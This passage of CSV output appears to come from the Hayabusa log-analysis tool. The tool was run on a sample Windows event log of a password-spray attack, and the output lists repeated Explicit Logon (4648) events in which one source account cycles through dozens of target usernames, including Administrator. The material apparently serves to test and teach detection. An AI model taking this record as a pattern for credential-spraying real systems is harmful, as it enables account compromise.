+09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: tbennett : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:37.375 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: econrad : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:38.439 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: smisenar : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:39.499 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: jleytevidal : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:40.560 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: lpesce : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:41.637 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: sanson : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:42.734 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: sarmstrong : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:43.795 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: wstrzelec : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:44.875 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: zmathis : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:45.951 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: melliott : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:47.017 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: kperryman : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:48.096 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: jorchilles : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:49.176 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: jlake : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:50.264 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: edygert : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:51.340 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: drook : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:52.405 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: dmashburn : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:53.466 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: cspizor : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:54.572 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: cragoso : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:55.671 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: bgalbraith : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:56.741 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: bking : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:57.817 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: mdouglas : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:58.894 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: bgreenwood : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:29:59.965 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: baker : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:30:01.026 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: ssims : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:30:02.115 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: smisenar : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:30:03.191 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: Administrator : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:30:04.272 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: jwright : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:30:05.348 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: dpendolino : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:30:06.426 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: celgee : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:30:07.478 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: thessman : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:30:08.564 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: eskoudis : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:30:09.668 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: cdavis : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:30:10.717 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: mtoussain : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:30:11.809 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: lschifano : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:30:12.857 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: bhostetler : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:30:13.904 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: rbowes : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:30:14.972 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: ebooth : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:30:16.050 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: cfleener : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:30:17.129 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: cmoody : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:30:18.186 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: psmith : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:30:19.254 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: jkulikowski : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:30:20.329 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: gsalinas : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:30:21.401 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: tbennett : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:30:22.487 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: econrad : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:30:23.577 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: smisenar : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:30:24.660 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: jleytevidal : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:30:25.732 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: lpesce : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:30:26.794 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: sanson : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:30:27.863 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: sarmstrong : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:30:28.925 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: wstrzelec : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:30:29.993 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: zmathis : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:30:31.050 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: melliott : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:30:32.142 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: kperryman : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:30:33.206 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: jorchilles : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:30:34.265 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: jlake : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:30:35.340 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: edygert : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:30:36.403 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: drook : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:30:37.453 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: dmashburn : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:30:38.533 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: cspizor : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:30:39.613 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: cragoso : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:30:40.691 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: bgalbraith : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:30:41.769 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: bking : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:30:42.852 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: mdouglas : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:30:43.922 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: bgreenwood : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:30:44.998 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: baker : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:30:46.080 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: ssims : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:30:47.159 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: smisenar : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:30:48.237 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: Administrator : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:30:49.314 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: jwright : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:30:50.388 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: dpendolino : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:30:51.455 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: celgee : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:30:52.532 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: thessman : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:30:53.613 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: eskoudis : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:30:54.668 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: cdavis : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:30:55.714 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: mtoussain : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:30:56.768 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: lschifano : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:30:57.850 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: bhostetler : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:30:58.920 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: rbowes : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:00.029 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: ebooth : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:01.113 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: cfleener : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:02.172 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: cmoody : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:03.238 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: psmith : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:04.300 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: jkulikowski : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:05.378 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: gsalinas : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:06.439 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: tbennett : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:07.513 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: econrad : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:08.581 +09:00,DESKTOP-JR78RLP,4648,informational,Explicit Logon,Source User: jwrig : Target User: smisenar : IP Address: 172.16.144.128 : Process: : Target Server: DESKTOP-JR78RLP,rules/hayabusa/default/events/Security/Logons/4648_ExplicitLogon.yml,../hayabusa-sample-evtx/DeepBlueCLI/password-spray.evtx +2019-05-01 04:31:09.674 